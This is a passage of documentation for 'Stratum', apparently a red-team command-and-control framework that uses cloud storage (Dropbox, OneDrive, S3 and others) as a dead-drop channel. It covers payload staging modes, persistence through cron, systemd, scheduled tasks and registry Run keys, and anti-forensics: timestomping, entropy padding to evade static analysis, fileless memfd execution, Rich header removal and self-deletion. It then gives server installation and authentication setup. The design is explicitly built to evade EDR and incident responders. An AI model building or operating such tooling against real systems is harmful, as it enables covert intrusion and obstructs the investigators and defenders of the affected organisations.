- Cloud credentials readable from disk image if agent is captured
- Best used in controlled lab or air-gapped environments
4.3 Stageless-Enc (Stub Secret)
Stageless-Enc — recommended for production
The full C2 configuration (folder path, credentials, RSA key) is AES-256-GCM encrypted with the stub_secret baked into the delivery file at compile time. The encrypted config blob and the decryption key are both in the binary — no cloud fetch needed even on first run. On first execution, the stub checks the local hw-keyed ddb blob; on miss it decrypts the baked config with stub_secret in memory, runs the agent, and caches the decrypted config as a hw-keyed blob for fast subsequent restarts. See §2.4 for full protocol detail.
- Works entirely offline — no cloud access needed even on first run
- stub_secret never transmitted over any network
- Cloud credential compromise yields nothing (config not on cloud)
- Best OPSEC posture for long-haul and restricted-connectivity ops
- Fast restart from hw-keyed ddb blob — no cloud dependency ever
- Binary contains both encrypted config and decryption key — if binary is captured and analysed, config is accessible to a determined analyst
- Payload cannot be updated without re-delivering the stub
4.4 OPSEC Comparison
| Property | Staged-Enc | Stageless-Plain | Stageless-Enc |
|---|---|---|---|
| Disk footprint | Stub + hw blob | Full agent | Binary + hw blob |
| Credentials on disk | None in stub | Yes (embedded) | Encrypted in binary |
| Payload recoverable from disk | Stub only (no payload) | Yes | With reverse engineering of binary |
| Requires net at each execution | First run only (ddb after) | No | No (never) |
| Key ever in cloud | Never | N/A | Never |
| Cloud folder after first HB | stage2.enc deleted | Nothing at runtime | Nothing sensitive |
| Best for | Updatable payload, active ops | Lab, air-gap | Long-haul, restricted net, hostile IR |
4.5 Decision Guide
- Default choice for any production deployment:
stageless-enc. Maximum OPSEC: config and stub_secret are both in the binary, nothing sensitive ever touches cloud storage. Works offline on every run after the binary lands on target. - Need to update payload without re-delivery:
staged-enc. Replace stage2.enc in the cloud folder at any time; on the next ddb-miss execution the stub picks up the new payload. stub_secret stays baked in the already-delivered stub — no re-delivery of the stub needed for payload updates. - Targeting an air-gapped or fully offline environment:
stageless-plain. No cloud access ever. Accept that credentials are readable from the binary. - Testing / lab use: any mode.
stageless-plainis simplest to debug.
5Persistence Engine
5.1 Protocol Design
Stratum's persistence engine is built around a multi-technique protocol that separates capability probing from installation. Before any persistence technique is installed, the agent performs a non-destructive feasibility check. Only techniques confirmed available at the current privilege level are offered for installation. This prevents failed install attempts from leaving forensic traces — partial registry keys, half-created scheduled tasks, or incomplete service configurations that IR teams find during investigations.
Each technique is independently addressable by a string ID (e.g. schtask-logon, systemd-user) and supports four operations: PROBE, INSTALL, STATUS, REMOVE. All techniques are individually testable, installable, and removable, giving the operator surgical control over the persistence posture.
5.2 Linux Persistence Techniques
@reboot entry to the current user's crontab. Survives reboots, requires no root. Visible in crontab -l.~/.config/systemd/user/. Starts on user login with --user scope. Restarts on failure./etc/systemd/system/. Starts at boot as root. Most reliable Linux technique at elevated privilege./etc/rc.local. Works on systems without systemd. Probe checks if rc-local is enabled and executable./etc/cron.d/. Executed by the system cron daemon. Probe checks for write permission to /etc/cron.d/.5.3 Windows Persistence Techniques
%APPDATA%\Local\. Task name mimics system utilities.HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. One of the most common persistence locations; well-logged by EDRs..lnk or script in %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. Executed at user logon by Explorer.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Affects all users. Requires admin token.5.4 Technique Lifecycle
5.5 Wire Protocol Reference
The table below maps user-facing commands to their JSON task_type wire values. All persistence tasks are dispatched as JSON envelopes (see §2.3); the human-readable names below are server-side mnemonics, not wire strings.
| User command | Wire task_type | Description |
|---|---|---|
/persist probe | persist_probe | Probe all techniques. Returns feasibility per technique. |
/persist probe <id,id> | persist_probe + technique arg | Probe specific technique IDs only. |
/persist install <id> | persist_install + technique arg | Install single technique by ID. |
/persist remove <id> | persist_remove + technique arg | Remove single installed technique. |
/persist status | persist_status | Full report of all installed techniques and their current state. |
/persist status <id> | persist_status + technique arg | Status of one specific technique. |
/persist (bare shorthand) | persist_action + action arg | Shorthand dispatch: maps install/remove/check to schtask-logon. Script agents only — not sent to Rust agent. |
6Transport Layer
6.1 Dead-Drop File Protocol
Every Stratum session maps to a private folder in a cloud provider account. The folder contains a small set of files that act as the communication channel. The agent polls on a configurable interval; the server-side heartbeat monitor reads on a matching interval.
The read+delete pattern for input/output ensures no replay: once the agent reads a command, the cloud slot is empty. A network failure during execution leaves the slot empty and the command is not re-executed on the next poll cycle. The operator must re-issue commands that fail to produce a response within the timeout.
6.2 Transport Interface Contract
Every cloud provider in Stratum implements a three-method abstract interface. This is the entire surface area a new provider must implement:
class BaseTransport(ABC):
def upload(self, path: str, data: bytes) -> bool: ...
# Write `data` to cloud path `path`. Return True on success.
def download(self, path: str) -> Optional[bytes]: ...
# Return bytes at cloud path, or None if not found / error.
def delete(self, path: str) -> bool: ...
# Delete cloud path. Return True on success.
The transport layer in agent scripts follows the same contract: _upload(), _download(), and internally _token_refresh() for OAuth2-based providers. Token expiry handling (retry on 401/expired token) is the responsibility of the transport layer, not the C2 core.
6.3 Heartbeat Wire Format
# The heartbeat is encrypted using the same v2 wire format as responses:
# [0x02][epoch:4][agent_eph_pub:32][counter:8][chain_tag:32][GCM payload]
#
# The GCM payload, after decryption with epoch_key, contains a pipe-delimited string:
1724595262|DESKTOP-K8PX2|corp\jdoe|192.168.14.105|Windows 10 Pro 22H2 x64|user|C:\Users\jdoe|/tmp|185.23.104.88|6412|powershell.exe|corp.acme.com|C:\ProgramData\.cache|1|42|1724595322
The heartbeat uses the same v2 epoch-encrypted wire format as command responses (see §2.3). The heartbeat plaintext is a pipe-delimited string, encrypted with the current epoch_key and authenticated by the KDF chain (chain_tag + counter). The server decrypts the heartbeat using the shared epoch state and verifies the chain tag for anti-replay. On the first heartbeat (Epoch 0 bootstrap), the server iterates its pre-key private keys to find the matching DH and derive the initial epoch state.
External IP detection via STUN is mandatory — the STUN probe always runs at startup and the result populates ip_ext in every heartbeat. This happens once at startup and is cached for the session lifetime. If STUN fails, the agent does not fall back silently — the field is set to "unknown" and the startup error is logged, ensuring operators are never given a false sense of external IP knowledge.
6.4 Provider Registry
All providers self-register in TRANSPORT_REGISTRY as an import side-effect. providers/all.py imports all provider wizards, which triggers the registration. The server imports providers/all.py before loading sessions, ensuring all transports are available for session restoration.
# providers/dropbox/wizard.py — at module level:
TRANSPORT_REGISTRY["dropbox"] = DropboxTransport
# providers/all.py — imports trigger all registrations:
from providers.dropbox.wizard import DropboxWizard
from providers.onedrive.wizard import OneDriveWizard
# ... etc — TRANSPORT_REGISTRY now has all 5 providers
# server/main.py — before session load:
import providers.all # ← populates TRANSPORT_REGISTRY
manager.load_all() # ← can now construct transports for loaded sessions
6.5 Adding a Provider
Adding a new cloud provider requires implementing the three-method transport interface plus a deployment wizard. The complete implementation follows a fixed pattern — use providers/dropbox/ as the reference:
- Create
providers/{name}/with__init__.py,wizard.py, andtransport/ - Implement
XxxTransport(BaseTransport)— three methods:upload,download,delete; handle token refresh internally - Implement
XxxConfig(BaseConfig)— provider-specific credential fields (app_key,refresh_token, etc.) - Implement
XxxWizard(ProviderWizard)— setPROVIDER_ID,PROVIDER_NAME,TRANSPORT_DIR; implementmake_config(),step_auth(),step_init_channel(); override_native_agent_extra_env()to injectSTRATUM_APP_KEYetc. for the Rust build - Register: add
TRANSPORT_REGISTRY["{name}"] = XxxTransportat module level, and add toproviders/all.py
The Rust agent handles all transport internally. Provider-specific credentials are injected via STRATUM_* env vars at compile time through _native_agent_extra_env(). No script templates are needed.
7OPSEC & Anti-Forensics
7.1 Artifact Tracking
Every file dropped on a target by Stratum is tracked by SHA-256 hash in the session history. This includes persistence binaries, configuration stubs, and any file written as part of a persistence technique installation. The artifact log is stored server-side in the session history CSV.
When /kill is issued, the agent receives a KILL command that triggers the full cleanup sequence: remove all installed persistence techniques, delete all tracked artifacts in reverse installation order, wipe sensitive variables from memory, and exit cleanly. The operator can also view the artifact list at any time via /artifacts.
Cloud-Side Artifact Rollback
During deployment, the wizard tracks every sensitive object uploaded to cloud storage (staged-enc: the encrypted stage-2 payload). If the wizard fails at any point after uploads have begun — network error, key generation failure, operator cancellation — Stratum automatically deletes the already-uploaded objects from the cloud provider before exiting.
This prevents orphaned encrypted payloads from remaining in the cloud folder if the deployment did not complete. Channel files (input.txt, output.txt, heartbeat.txt) are intentionally excluded from rollback: they contain no secret material and are safe to leave in place. The stub_secret is never uploaded to cloud and therefore never needs rollback.
stage2.enc, staged-enc mode only). Not rolled back: channel files, session metadata already written to disk. stub_secret is compiled into the binary and never in cloud — no rollback needed.
7.2 Timestomping
Any file written to disk by the agent (persistence binary copy, config file, etc.) has its modification timestamp set to a value within ±30 minutes of the most recently modified system file in the target directory. This disrupts timeline-based forensic analysis, which correlates file creation/modification times to narrow the window of compromise.
Timestomping is applied automatically on every artifact write, not as an optional step. It uses native OS APIs (touch on Linux, SetFileTime on Windows) rather than shell utilities that might be logged.
7.3 Entropy Balancing
Shannon entropy is a primary signal in static analysis tools. A script file or PE section with entropy above ~6.5 b/B is classified as packed or encrypted content — an immediate red flag even without behavioral analysis. Stratum actively engineers the entropy of its artifacts at deploy time.
The wizard measures entropy after generating each script, then appends natural-language padding (facility documentation text, ~4.4 b/B entropy) in 8 KB blocks until H ≤ 5.0 b/B. The padding text is chosen to resemble legitimate system utility strings — the kind of verbose help text that any real system tool might include in its binary. Under static analysis, the file appears to be a normal utility with embedded documentation, not a packed payload.
For native Rust artifacts, a 128 KB static entropy pad is compiled into the .rodata section via a #[link_section = ".rodata"] static _PAD: [u8; 131072] declaration. This dilutes the entropy of adjacent high-entropy bytes (the embedded script payload) in the binary's read-only data section.
7.4 Fileless Execution (Linux ELF Loader)
The Linux ELF loader (agents/native/linux/) uses memfd_create to achieve fully fileless script execution. The embedded agent script is written to an anonymous memory file descriptor — an in-kernel file that has no path in any filesystem:
// SYS_memfd_create = 319 on x86_64 Linux (kernel 3.17+)
fd = syscall(SYS_memfd_create, ".", 0);
write(fd, SCRIPT, sizeof(SCRIPT));
execve("/bin/bash", {"/proc/self/fd/N"}, env);
// fd stays open; child inherits it; script never touches disk
The process appears in ps as bash /proc/self/fd/5 (or similar). ls /proc/PID/fd/5 shows an anonymous file with no real path. /proc/PID/maps will show a memfd:. mapping. This execution technique is supported on Linux kernel 3.17+ (released 2014); the loader falls back to /dev/shm → /tmp with immediate unlink after spawn on older kernels.
7.5 MSVC-ABI PE vs MinGW & Rich Header Removal
The default Rust cross-compilation target for Windows from Linux is x86_64-pc-windows-gnu (MinGW). MinGW-compiled PE files carry characteristic imports: libgcc_s_seh-1.dll, libwinpthread-1.dll, and GCC-specific runtime functions. This is a known fingerprint used by EDRs and forensic tools to identify non-commercial software.
Stratum uses the MSVC target (x86_64-pc-windows-msvc) via clang-cl + lld-link + Microsoft's SDK headers (sourced through xwin). The resulting PE import table contains only standard Windows DLLs: kernel32.dll, ntdll.dll, ws2_32.dll, advapi32.dll. This profile is indistinguishable from a Visual Studio–compiled utility.
Rich Header Removal
Linkers embed a Rich header between the DOS stub and the PE signature. This 16–256 byte structure encodes which Microsoft build tools and compiler versions produced the binary — a fingerprint that allows analysts and EDRs to distinguish tool families and detect anomalies (e.g. a PE claiming to be compiled with MSVC but actually produced by a different toolchain).
The Stratum deploy wizard automatically patches the Rich header out of every EXE and DLL artifact after compilation. The patcher scans backward from the PE signature for the Rich marker, then zeroes all bytes from DanS through Rich+8 inclusive. This is done in-place with no linker flags, so the patched binary retains valid PE structure while presenting no toolchain lineage to forensic tools.
MinGW PE imports (typical)
- libgcc_s_seh-1.dll
- libwinpthread-1.dll
- msvcrt.dll
- __gxx_personality_seh0
Identified by RIFT, DiE, ExeInfoPE as GCC/MinGW compiled
MSVC-ABI PE imports (Stratum)
- kernel32.dll
- ntdll.dll
- ws2_32.dll
- advapi32.dll
Identical to Visual Studio output — no toolchain fingerprint
7.6 Network OPSEC
All Stratum network traffic originates from the target host to well-known cloud provider API endpoints over HTTPS. There are no custom domains, no novel TLS certificates, and no unusual destination ports. The traffic profile:
| Provider | Destination | Protocol | Port |
|---|---|---|---|
| Dropbox | api.dropboxapi.com, content.dropboxapi.com | HTTPS | 443 |
| OneDrive | graph.microsoft.com | HTTPS | 443 |
| Google Drive | www.googleapis.com | HTTPS | 443 |
| SharePoint | {tenant}.sharepoint.com | HTTPS | 443 |
| S3 | s3.amazonaws.com (or custom) | HTTPS | 443 |
From a network detection perspective, blocking any of these destinations would disable core productivity services for the organization — a disruptive and unlikely defensive response. Traffic volume is also minimal: one HTTP request per beacon interval (typically 1–5 KB), with responses of similar size.
User-Agent Rotation
All agent HTTP requests use a randomly selected User-Agent string from a pool baked in at deploy time (providers/_wizard.py:_UA_POOL). The pool is updated periodically to stay within the current browser version distribution — stale UA versions (more than two major releases behind) are a reliable fingerprint for proxies that perform UA analytics (Zscaler, Palo Alto Cortex). The selected UA is fixed per-deployment, not rotated per-request, so the agent presents a consistent browser identity to the cloud provider.
_UA_POOL in providers/_wizard.py every 3–6 months to keep agents within the current distribution. The comment in the source marks the last update date.
MIME Boundary Randomisation (Google Drive)
The native Rust agent's Google Drive transport generates the multipart/related MIME boundary at runtime from 8 random bytes (format!("b{}", hex::encode(rand_bytes))). A static boundary string is a trivial network signature — randomising it at each upload ensures each multipart request is structurally unique.
External IP Detection (STUN)
The bash agent detects the target's external IP using a layered fallback chain. The preferred method is a direct STUN query (RFC 5389, UDP port 19302) — this works through NAT, bypasses DNS-based filtering, and requires no outbound TCP connectivity beyond the standard STUN infrastructure. Fallbacks include Google's DNS TXT record (o-o.myaddr.l.google.com @8.8.8.8) and Cloudflare's WhoAmI service.
curl-based IP services will all reflect the VPN exit node's IP — not the target's true physical location. The reported external IP in the session panel is the IP as seen from the public internet at query time. This is expected behaviour and does not affect C2 functionality.
7.7 KILL — Artifact Wipe & Self-Delete
The kill command triggers a full cleanup sequence on the beacon before it terminates. The sequence is deterministic and non-interactive: the beacon completes it autonomously after receiving the task, then exits. The server waits agent_sleep + 5 seconds after uploading the KILL task before wiping the cloud folder, giving the beacon time to poll and receive it.
Cleanup sequence (all agent types)
- Blob wipe — the encrypted stage-2 / payload blob on disk is overwritten with cryptographically random bytes and then deleted.
- Persistence removal — all installed persistence techniques are torn down (cron entries, systemd units, rc.local entries, scheduled tasks, registry Run keys, WMI subscriptions, startup folder entries). The
_PERSIST_DIRdirectory and its contents are removed recursively. - Self-delete — the beacon script / binary deletes itself and any associated launcher. Mechanism varies by agent type (see table below).
- Channel clear — writes
MZsentinel to the input file to prevent the server from re-delivering the KILL task on the next poll cycle. - Process exit — the beacon process terminates cleanly.
Self-delete mechanisms by agent type
| Agent | Platform | Mechanism | Timing | |
|---|---|---|---|---|
| Rust ELF | Linux | std::fs::remove_file(current_exe()) — unlink while running is legal on POSIX |
Immediate (pre-exit) | |
| Rust PE | Windows | Attempt remove_file(current_exe()); on lock failure: MoveFileExW(DELAY_UNTIL_REBOOT) |
env::var("_STUB_PATH").with_extension("vbs") — deleted pre-exit if present |
EXE: immediate or next reboot; .vbs: immediate |
DeleteFile fails with ERROR_SHARING_VIOLATION while the process is alive. The MoveFileExW(MOVEFILE_DELAY_UNTIL_REBOOT, 0x4) fallback schedules the file for deletion when the OS next boots — the binary is orphaned (persist is already gone) and will never re-execute. This is the only reliable mechanism available without a separate helper process.
VBS launcher deletion (Windows) — removed in v3.0.1
VBS launchers are no longer generated. The Rust PE agent handles its own self-deletion. No PS1 or VBS artifacts exist in the deploy output.
Persist directory removal
All Linux agent techniques call rm -rf "$_PERSIST_DIR" after removing the payload file. Earlier versions used rmdir (non-recursive), which silently failed if the directory contained any extra files (e.g., from a blobsave command or operator-placed artifacts). The recursive form is used unconditionally — _PERSIST_DIR is always a wizard-generated subdirectory under $HOME/.local/share/ and is safe to remove in full.
User Guide
Installation · Configuration · Deploy wizard · WebGUI · Command reference · Advanced topics
1Installation
1.1 Requirements
| Component | Version | Required |
|---|---|---|
| Python | 3.10+ | Yes — server runtime |
| pip packages | see requirements.txt | Yes — FastAPI, cryptography, uvicorn, PyYAML |
| Rust + Cargo | stable 1.70+ | Yes — native agent compilation (ELF, PE, shellcode) |
| clang + lld + llvm | clang 14+ | Yes — Windows MSVC-ABI cross-compilation |
| xwin Windows SDK | 0.6.5+ | Yes — Windows PE/DLL/shellcode targets (~1.5 GB) |
| OpenSSL | 3.x | Yes — TLS cert generation and agent crypto |
./install.sh --server installs all of the above interactively — Python deps, rustup, Rust targets, clang/lld/llvm via apt, and the xwin Windows SDK. Each heavy step (rustup, xwin) asks for confirmation before proceeding.
1.2 Quick Install
git clone https://github.com/your-org/stratum-c2.git
cd stratum-c2
# Install Python deps + generate TLS cert + set permissions
./install.sh --server
# Copy and edit the server config
cp server.yml.example server.yml
# Edit server.yml: set operator passwords, bind address, timezone
# Start the server
python3 stratum-server.py
The installer performs the following steps interactively: installs Python dependencies from requirements.txt, installs rustup + Rust cross-compilation targets, installs clang/lld/llvm via apt, downloads and splats the xwin Windows SDK (~1.5 GB, asked before proceeding), generates a self-signed TLS certificate in certs/, prints the SHA-256 fingerprint for browser verification, creates the sessions/, logs/, keys/, downloads/, and certs/ directories, and sets appropriate file permissions (600 for key files and server.yml, 700 for credentials/).
1.3 Manual Setup
# 1. Install Python dependencies
pip3 install -r requirements.txt
# 2. Generate TLS certificate
mkdir -p certs
openssl req -x509 -newkey rsa:4096 -keyout certs/server.key \
-out certs/server.crt -days 3650 -nodes \
-subj "/CN=stratum-server/O=Stratum"
# 3. Print fingerprint for browser pinning
openssl x509 -noout -fingerprint -sha256 -in certs/server.crt
# 4. Create directories
mkdir -p sessions keys credentials deployments logs
# 5. Set permissions
chmod 700 sessions keys credentials deployments
chmod 600 certs/server.key
# 6. Copy and configure server.yml
cp server.yml.example server.yml
# vim server.yml
# 7. Start
python3 stratum-server.py
1.4 Rust Toolchain
./install.sh --server installs the full Rust toolchain interactively — rustup, all four cross-compilation targets, clang/lld/llvm, and the xwin Windows SDK. The manual steps below are only needed if you are setting up the toolchain independently of the installer.
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# ── Linux musl-static ELF ──────────────────────────────────────
rustup target add x86_64-unknown-linux-musl
# ── Windows MSVC-ABI PE (EXE / DLL) ───────────────────────────
apt install clang lld llvm # Debian/Ubuntu/Kali
cargo install xwin --version 0.6.5 --locked
xwin --accept-license splat --output ~/.xwin # ~1.5 GB download
rustup target add x86_64-pc-windows-msvc
# ── Windows GNU fallback ───────────────────────────────────────
rustup target add x86_64-pc-windows-gnu
# ── Shellcode (raw binary, no PE headers) ─────────────────────
rustup target add x86_64-unknown-none
# lld is required for the custom link.ld linker script
After installing the toolchain, native artifacts are compiled automatically during the next deployment wizard run. All four targets (Linux musl, Windows MSVC PE, Windows GNU fallback, shellcode) must be installed for the full artifact set — missing a target causes that compilation step to be skipped with a warning for that artifact type.
1.5 Docker
Stratum ships a Dockerfile for containerised deployment. The image is single-stage and contains the full toolchain needed to compile agents at deploy time — Python server, Rust (rustup), clang/lld (MSVC cross-compilation), and the xwin Windows SDK. Agents are never pre-compiled: each deployment wizard run produces artifacts with unique cloud folder names, provider credentials, and encryption keys, so compilation always happens on-demand inside the running container.
server.yml is never baked into the image — it is bind-mounted at runtime. Credentials, sessions, logs, keys, and deployment packages are all external volumes. The container image itself contains no operator secrets.
# Build the image (~20 min first time — xwin SDK download; cached after that)
docker build -t stratum-c2 .
# Prepare config on the host
cp server.yml.example server.yml
# edit server.yml: set passwords, provider credentials, port
# Run — mount secrets and runtime dirs as volumes
docker run --rm -it \
-v ./server.yml:/app/server.yml:ro \
-v ./sessions:/app/sessions \
-v ./logs:/app/logs \
-v ./keys:/app/keys \
-v ./certs:/app/certs \
-v ./credentials:/app/credentials \
-v ./deployments:/app/deployments \
-p 7443:7443 \
stratum-c2
Host compatibility: The image runs on any host with Docker Engine (Linux) or Docker Desktop with WSL2 backend (Windows/macOS). The container is always Linux-based regardless of host OS. On Windows hosts, bind-mounted files do not inherit POSIX permissions — server.yml will be world-readable inside the container, which is acceptable since the container is isolated.
Image size: ~4 GB (rustup + clang/llvm/lld ~800 MB + xwin Windows SDK ~600 MB + Python deps). This is inherent to carrying a full cross-compilation toolchain. The tradeoff is that every operator gets a fully self-contained environment with zero local setup beyond Docker itself.
1.6 Running as a systemd Service
# install.sh --server creates the unit file automatically. Manual:
cat > /etc/systemd/system/stratum.service <<EOF
[Unit]
Description=Stratum Cloud Persistence Server
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
User=stratum
WorkingDirectory=/opt/stratum-c2
ExecStart=/usr/bin/python3 /opt/stratum-c2/stratum-server.py
Restart=on-failure
RestartSec=10
NoNewPrivileges=yes
PrivateTmp=yes
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable --now stratum
journalctl -u stratum -f # tail logs
2Configuration
2.1 server.yml Reference
# server.yml — copy from server.yml.example and edit before running
# IMPORTANT: chmod 600 server.yml (contains cleartext passwords and JWT secret)
server:
host: 0.0.0.0 # bind address (0.0.0.0 = all interfaces)
port: 7443 # HTTPS/WSS port
tls:
mode: self-signed # generates certs/server.crt + certs/server.key
cert: certs/server.crt
key: certs/server.key
session_dir: sessions/ # session JSON profiles
log_dir: logs/ # command history CSV + chat.jsonl + revoked tokens
key_dir: keys/ # deployment RSA keypairs
# auth_mode: local | oidc-manual | oidc-auto
auth_mode: local
# Local users (auth_mode: local only). All users have equal privileges.
users:
- username: admin
password: "changeme" # cleartext — chmod 600 this file
- username: alice
password: "changeme2"
# OIDC (auth_mode: oidc-manual or oidc-auto). Remove or leave commented for local auth.
#oidc:
# provider_url: https://keycloak.example.com/realms/stratum
# client_id: stratum-c2
# client_secret: "your-client-secret"
# identity_claim: email # stable key for whitelist/blocklist
# display_claim: preferred_username # name shown in WebUI
# allowed_identities: # oidc-manual only
# - alice@corp.com
# - bob@corp.com
settings:
jwt_expiry_hours: 24 # token lifetime
jwt_secret: "" # auto-generated on first run
build_timeout_sec: 300 # deploy wizard build timeout
heartbeat_retain_days: 90 # reserved — not currently implemented
cmd_lock_timeout_multiplier: 5 # pending_cmd auto-expires after N × agent_sleep
hb_warn_multiplier: 3 # IDLE threshold: last_hb > N × agent_sleep → IDLE
hb_dead_multiplier: 6 # DEAD threshold: last_hb > N × agent_sleep → DEAD
timezone: "UTC" # IANA timezone (e.g. "Europe/Rome")
log_level: "info" # debug | info | warning | error
log_file: "" # log filename inside log_dir (e.g. "stratum.log")
# "" = console only; rotates daily, no automatic deletion
2.2 TLS & Browser Verification
Stratum generates a self-signed TLS certificate at install time. When accessing the WebGUI for the first time, the browser will show a certificate warning. Verify the certificate fingerprint shown by install.sh matches what your browser reports before accepting:
# Check fingerprint at any time:
openssl x509 -noout -fingerprint -sha256 -in certs/server.crt
# Output:
SHA256 Fingerprint=2A:F1:8C:...
After verifying the fingerprint, add a permanent browser exception for this certificate. Do not distribute the .crt file to add it to system trust stores in operational environments — the self-signed certificate is intentionally not trusted by default, which prevents MitM by an intermediate party that could present a CA-signed certificate.
--insecure / ignore TLS warnings without verifying the fingerprint first. An attacker on the network could present a forged certificate if you skip verification entirely.
2.3 Operator Accounts
Stratum supports multiple simultaneous operators. Each operator entry requires only a username and password. All operators have equal privileges — there is no role system.
Passwords are stored in cleartext in server.yml. This is intentional: the file is the trust boundary, and it must be protected at the OS level.
server.yml contains operator passwords and the JWT signing secret in cleartext. Run chmod 600 server.yml immediately after creation.
To add or change an operator, edit server.yml and restart the server. There is no hot-reload for operator accounts.
2.4 Cloud Credentials
Cloud provider credentials (OAuth2 refresh tokens, app key/secret) are stored in credentials/{provider}.json, managed through the WebGUI Credentials section or the Deploy Wizard. Each provider entry contains a profile ID, label, and the credential fields specific to that provider.
# credentials/dropbox.json (auto-managed by wizard)
[
{
"id": "dbx_ops_2026",
"label": "Ops Account — acme.com",
"app_key": "abc123...",
"app_secret": "xyz789...",
"refresh_token": "XXXXXXXXXX..."
}
]
2.5 Server Logging
Stratum uses Python's standard logging module configured via dictConfig in server/logging_config.py. The configuration is applied once, atomically, before uvicorn.run() is called. uvicorn receives log_config=None to prevent it from overriding the setup.
Logger namespace: all Stratum loggers live under the stratum.* hierarchy with propagate=False:
| Logger | Used in |
|---|---|
stratum.startup | server/main.py — boot sequence, session load, task start |
stratum.session | Session lifecycle events (connect, disconnect, state changes) |
stratum.cmd | server/poller.py — command dispatch, output delivery, poller notifications |
stratum.ws | WebSocket connection events |
stratum.poller | Heartbeat and state-watcher loop events |
stratum.wizard | Deploy wizard steps (server mode) |
Handlers:
StreamHandler— always active, writes to stderr. Format:%(asctime)s %(levelname)-8s %(name)s: %(message)sTimedRotatingFileHandler— enabled whenlog_fileis set inserver.yml. Rotates at midnight, keeps 14 daily files (suffix.YYYY-MM-DD). File is created lazily on first write (delay=True).
When log_file is a relative path, it is resolved relative to the working directory — keep it inside log_dir to co-locate it with session history and prefs files. Example: log_file: "stratum.log" with default log_dir: "logs/" writes to logs/stratum.log, rotating to logs/stratum.log.2026-06-26.
2.6 HTTP Security Headers & Fingerprint Reduction
The server applies a set of defensive HTTP response headers on every request, and suppresses headers that would reveal server identity or framework version. These controls are applied by an ASGI middleware layer (_SecurityHeadersMiddleware) before any route handler executes.
| Header | Value | Purpose |
|---|---|---|
X-Frame-Options | DENY | Prevents the WebGUI from being embedded in an iframe (clickjacking protection) |
X-Content-Type-Options | nosniff | Disables MIME-type sniffing — prevents browsers from executing non-JS resources as scripts |
Referrer-Policy | no-referrer | Prevents the server URL from leaking in outbound Referer headers |
Permissions-Policy | geolocation=(), microphone=(), camera=() | Disables browser APIs that have no legitimate use in this application |
Content-Security-Policy | Self-origin only (see below) | Restricts script, style, image, and connection sources to the same origin |
Server | (empty string) | Suppresses framework/version fingerprint — prevents "FastAPI" / uvicorn from appearing in responses |
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
font-src 'self';
img-src 'self' data:;
connect-src 'self' wss:;
frame-ancestors 'none';
Fingerprint reduction: the FastAPI application is initialized with a generic title ("API"), version "1.0", and openapi_url=None — this disables the /openapi.json schema endpoint and the /docs / /redoc Swagger UIs. Combined with the empty Server header, passive reconnaissance cannot identify the framework or enumerate the API schema.
X-Frame-Options or CSP makes clickjacking attacks viable against the WebGUI. These headers are standard hardening for any web admin panel, even one accessible only on a private network.
3Authentication
Stratum supports three authentication modes, selected via the auth_mode key in server.yml. Only one mode is active at a time — the server refuses to start if the configuration is invalid.
3.1 Auth Modes Overview
| Mode | Identity source | Whitelist required | Prefs lifecycle |
|---|---|---|---|
local | users[] in server.yml | Implicit (only listed users) | Created/purged at boot |
oidc-manual | OIDC provider | Yes — allowed_identities | Created/purged at boot |
oidc-auto | OIDC provider | No — optional blocked_identities | Created lazily on first login |
3.2 Local Mode
The default mode. Operator accounts are defined directly in server.yml under the users key. Passwords are stored in cleartext — the file is the trust boundary and must be chmod 600.
auth_mode: local
users:
- username: alice
password: "changeme"
- username: bob
password: "changeme2"
All operators have equal privileges. There is no role or permission system. To add or revoke an account, edit server.yml and restart the server. At boot, prefs files for users no longer present in the list are automatically deleted.
Login attempts are rate-limited per client IP: 5 failures in 300 seconds triggers a 60-second lockout. Failed-attempt counters and lockout entries are held in memory and purged automatically when they expire — the memory footprint remains bounded regardless of scan or probe volume. Lockout state does not survive a server restart.
server.yml contains operator passwords and the JWT signing secret in cleartext. Run chmod 600 server.yml immediately after creation.
3.3 OIDC-Manual Mode
Delegates authentication to an external OIDC provider (Keycloak, Azure AD, Okta, or any standard OIDC-compliant IdP). Access is restricted to a pre-declared whitelist of identities defined in server.yml. The lifecycle is identical to local mode: at boot, prefs files are created for whitelisted identities and purged for identities that have been removed.
auth_mode: oidc-manual
oidc:
provider_url: https://keycloak.example.com/realms/stratum
client_id: stratum-c2
client_secret: "your-client-secret"
identity_claim: email # claim used as stable identity key
display_claim: preferred_username # claim shown in WebUI
allowed_identities:
- alice@corp.com
- bob@corp.com
To revoke access: remove the identity from allowed_identities and restart. The prefs file is deleted automatically at the next boot.
Create a new client in Keycloak (Clients → Create client) and configure the Settings tab as follows:
| Field | Value |
|---|---|
| Client authentication | On (confidential client — required for client_secret) |
| Authorization | Off |
| Standard Flow | On (Authorization Code Flow) |
| Root URL | https://<stratum-host>:<port> |
| Home URL | https://<stratum-host>:<port> |
| Valid redirect URIs | https://<stratum-host>:<port>/api/v1/auth/oidc/callback |
| Web origins | https://<stratum-host>:<port> |
client_id and client_secret (Credentials tab) into server.yml. Required token scopes: openid email profile.The callback URL is derived automatically by Stratum from the incoming request — it does not need to be set in
server.yml.
3.4 OIDC-Auto Mode
Any account that successfully authenticates with the provider is granted access. No pre-declared whitelist is required. Per-operator prefs files are created lazily on first successful login. Use blocked_identities to deny specific accounts.
auth_mode: oidc-auto
oidc:
provider_url: https://keycloak.example.com/realms/stratum
client_id: stratum-c2
client_secret: "your-client-secret"
blocked_identities: # optional — add to deny specific accounts
- badactor@corp.com
Keycloak client configuration is identical to §3.3 — same Root URL, Home URL, Valid redirect URIs, and Web origins. The only difference is that no allowed_identities whitelist is required.
oidc-auto mode, prefs files for removed or blocked users are not deleted automatically. Remove them manually from logs/prefs/ if needed.
3.5 Identity & Display Claims
Two independent OIDC claims control how an operator appears in the system:
| Parameter | Purpose | Normalised? | Default |
|---|---|---|---|
identity_claim | Stable key used for whitelist/blocklist checks, prefs file name, and JWT sub | Yes — lowercased and stripped | email |
display_claim | Name shown in WebUI topbar and operator list — purely cosmetic | No — shown as-is from token | preferred_username |
Any standard OIDC claim works: email, preferred_username, sub, name, given_name, or a custom claim configured in the provider realm. If display_claim is absent from the token, the system falls back to the raw value of identity_claim — login is not blocked.
